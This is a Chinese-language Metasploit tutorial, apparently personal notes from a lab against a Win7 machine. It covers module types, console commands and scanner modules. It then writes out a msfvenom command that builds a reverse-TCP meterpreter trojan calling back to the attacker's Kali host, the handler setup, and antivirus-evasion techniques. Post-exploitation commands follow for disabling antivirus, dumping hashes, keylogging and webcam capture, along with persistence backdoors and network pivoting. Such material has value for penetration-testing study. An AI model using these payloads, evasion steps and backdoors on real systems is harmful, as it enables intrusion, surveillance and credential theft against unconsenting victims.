Metasploit工具使用
metasploit是一款免费可下载的框架,附带数百个已知的软件漏洞,并保持频繁更新,是渗透领域最流行的框架,在kali中自带。可以使用apt-get install metasploit-framework 来更新或者使用自带的升级命令msfupdate。
msf为总模块,其他均为分支模块,分为以下几个模块: 辅助攻击模块:auxiliaary,扫描器,扫描主机系统,寻找可用漏洞 渗透攻击模块:exploits,选择配置一个漏洞利用模块 攻击载荷模块:payloads,选择并配置一个攻击载荷模块,主要用来建立稳定的连接,可以返回shell和进程注入 后渗透攻击模块:post,用于内网渗透的各种操作 编码器模块:encoders,选择编码技术绕过杀软或其他免杀方式 躲避模块:evasion是msf用来做免杀的效果一般 空指令模块:nops,用于提高payload稳定性和维持大小。 所有模块位置:/user/share/metasploit-framework/modules/
首次启动: 启动postgresql->启动metasploit->连接postgtesql 启动步骤: 1、启动postgresql:service postgresql start 2、初始化msfdb:msfdb init(默认创建的数据库名称: msf,msf_test; 用户名: msf; 密码默认值为空) 3、启动msf:msfconsole 4、使用db_status可以查看数据库连接状态 二次启动metasploit直接使用命令msfconsole启动
渗透步骤exploit
search xxx #搜索某个漏洞
use xxx #使用某个漏洞利用模块
show options(options) #查看配置选项,可以使用info查看详细信息
set payload #配置攻击载荷
exploit(run) #执行渗透攻击
常用命令参数 reload_all #从目录重载所有模块,导入模块也需要使用此命令 back #后退命令,移除当前上下文,用于模块切换 info #查看模块详细信息 check #检查目标是否受某个漏洞影响 search type:模块类型 path:模块路径 -S 过滤 服务 如:search type:auxiliary -S scanner ssh表示搜索辅助扫描模块的ssh服务 sessions #会话管理 sessions -l #列出所有会话 sessions -K #终止所有会话 sessions -i id #进入某个会话 sessions -v #以详细模式列出会话 sessions -u #在许多平台上将shell升级到meterpreter会话 background 或 bg #将会话放到后台 show options #显示可选选项 auxiliary #显示所有辅助模块 exploits #显示所有漏洞利用模块 payloads #显示所有有效载荷 targets #显示所有可用目标 advanced #显示高级选项 encoders #显示可用编码器列表 unset [moudle options] #清楚moudle options
导入模块,模块命名不能有-,可以用_代替。reload_all #从目录重载所有模块。导入模块也需要使用此命令
辅助模块anxiliary 使用show可以展示出可以使用的扫描模块有很多 使用use 编号可以使用编号对应的模块 常用的端口扫描模块
use auxiliary/scanner/portmap/portmap_amp use auxiliary/scanner/portscan/ftpbounce use auxiliary/scanner/portscan/tcp use auxiliary/scanner/portscan/ack use auxiliary/scanner/portscan/syn use auxiliary/scanner/portscan/xmas
常用的服务扫描
auxiliary/scanner/ssh/ssh_login auxiliary/scanner/vnc/vnc_none_auth auxiliary/scanner/telnet/telnet_login auxiliary/scanner/smb/smb_version auxiliary/scanner/smb/smb_enumusers auxiliary/scanner/smb/smb_login auxiliary/admin/smb/psexec_command auxiliary/scanner/mssql/mssql_ping auxiliary/admin/mssql/mssql_enum auxiliary/scanner/mysql/mysql_login auxiliary/admin/mysql/mysql_enum
攻击载荷和编码(payloads && encoders) 可以使用以下方式生成payload和编码
use payload 或标号 -E 强制编码 -e 要使用的模块编码器模块的名称 -f 输出文件名(默认stdout) -t 输出格式:raw,ruby,perl,rb,pl,c,java,dll,exe,elf,vbs,asp,war等 -b要避免的字符列表:'\x00\xff'
常用payload
windows/meterpreter/bind_tcp # 正向连接 windows/meterpreter/reverse_tcp # 反向连接 windows/meterpreter/reverse_http # 通过监听80端口反向连接 windows/meterpreter/reverse_https # 通过监听443端口反向连接
可以使用msfvenom生成shellcode编码免杀 msfvenom参数使用详解:
-l ,--list<type> #列出所有可用的项目其中值可设为payloads,encoders,nops,platforms,archs,encrypt,formats -p ,--payload <payload> #指定payload,如果指定为-则从标准输入流中读取 --list-options #列出--payload<payload>的标准,高级和规避选项 -f #指定输出格式 --list-form #列出格式 -e #指定编码方式 --list-encoder #列出编码方式 --sec-name <value> #生成windows二进制文件时使用的新名称,默认四个随机数 --smallest #使用所有可用的编码器生成最小的payload --encrypt 值 #应用于shellcode的加密或编码类型 (--list encrypt 列出) --encrypt-key 值 #用于加密的密钥 --encrypt-iv 值 #加密初始化向量 -a,--arch #指定目标系统架构(--list-archs 列出) --platform <platform> #指定目标系统平台(--list-platform) -o #保存payload -b,--bad-chars <list> #设置需要在payload中避免出现的字符 -n,--nopsled <length> #指定nop在payload中的数量 -s,--space <length> #设置未经编码的payload最大长度 --encoder-space <length> #编码后的最大长度 -i, --iterations <count> # 设置 Payload 的编码次数 -c, --add-code <path> # 指定包含一个额外的win32 shellcode文件 -x, --template <path> # 指定一个特定的可执行文件作为模板 -k, --keep # 保护模板程序的功能,注入的payload作为一个新的进程运行 -v, --var-name <value> # 指定一个变量名(当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到一个 python 变量中,这个参数即为指定 python 变量的变量名) -t, --timeout <second> # 设置从STDIN读取payload的等待时间(默认为30,0为禁用) -h, --help # 帮助
windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=kali的 ip LPORT=kali监听端口 -f exe >1.exe 参数选项: -p 指定payload -a 自定系统架构 -e 编码器,x86/shikata_ga_nai -i 迭代器,对有效载荷的编码次数 -f 输出文件格式:exe,dll,raw -o 指定文件名输出文件
linuxmsfvenom -p payload LHOST=kali ip LPORT=kali监听端口 -f 文件格式>文件名
常见生成:
免杀 木马绕过免杀的本质是更改特征码方式有以下几种:编码、加壳免杀、二次编译、分离免杀:即将shellcode和加载器分离。目前msfvenom的encoder特征基本都进入了杀软的漏洞库,很难实现单一encoder编码而绕过杀软,所以对shellcode进行进一步修改编译成了msf免杀的主流。 互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果。
监听反弹shell use exploit/multi/handler 使用这个监听模块set payload windows/x64/meterpreter/reverse_tcp set lhost kali的ip set lport 端口号 run
最重要的payload设置 将生成的木马1.exe上传到win7然后执行 kali的msf后台上线,进入shell了
后渗透模块(post) 以下命令是在反弹shell成功后运行
run post/windows/gather/checkvm #检查目标是否虚拟机 run post/linux/gather/checkvm run post/windows/manage/killav #关闭杀软 run post/windows/manage/enable_rdp #开启目标远程桌面 run post/windows/gather/enum_logged_on_users #列举当前登陆用户,和最近登陆过的用户 run post/windows/gather/enum_applications #列举应用程序 run windows/gather/credentials/windows_autologin#列举自动登陆的用户名和密码
运行测试
Meterpreter 持久化 刚才刚刚获得的meterpreter shell,该shell是非常脆弱的,可以把它和目标机中一个稳定的程序绑定,NT AUTHORITY\SYSTEM 这个账号是隐藏的就是windows至高权限账户,根administrator拥有相同权限:
常用命令:
pwd 、ls、cd getuid getsystem hashdump sysinfo idletim route shell background upload ./1.txt c:\\1.txt download c:\1.txt ./ search -f *.txt -d c:// keyscan_start keyscan_stop keyscan_dump screenshot webcam_list webcam_snap webcam_stream sudo rdesktop -f 目标IP route add IP 子网掩码
在这里可以使用persistence模块留后门,也就是建立持续性后门。 persistence是用来进行权限维持的,可以利用它创建注册表和文件,这个模块是我们获取了meterpreter shell后使用 我们可以查看persistence查看帮助信息通过run persistence -h
这里报错暂时没有解决。
也可以使用metsvc生成后门run metsvc -h
-A 安装后门后,自动启动exploit/multi/handler模块连接后门 -h 查看帮助 -r 删除后门
安装成功后会在c:\windows\temp中创建一个新目录上传metsvc.dll、metsvc-server.exe、metsvc.exe 我们打开新的msf使用handler连接,这里需要注意生成的payload已经改变我们需要重新配置为set payload windows/metsvc_bind_tcp
查看配置这里我们需要指定远程地址为win7地址远程端口号为31337这里是一个正向连接的shell 执行run 不知什么原因死了
网络穿透 拿到反向shell之后获取目标网络信息run get_local_subnets
使用autoroute模块添加路由
run autoroute -s 192.168.23.0/225.225.225.0 run autoroute -p
添加完成后返回上一层,这里一定要保证添加了路由规则的sessions的存活,如果sessions掉了对应的路由规则也就失效了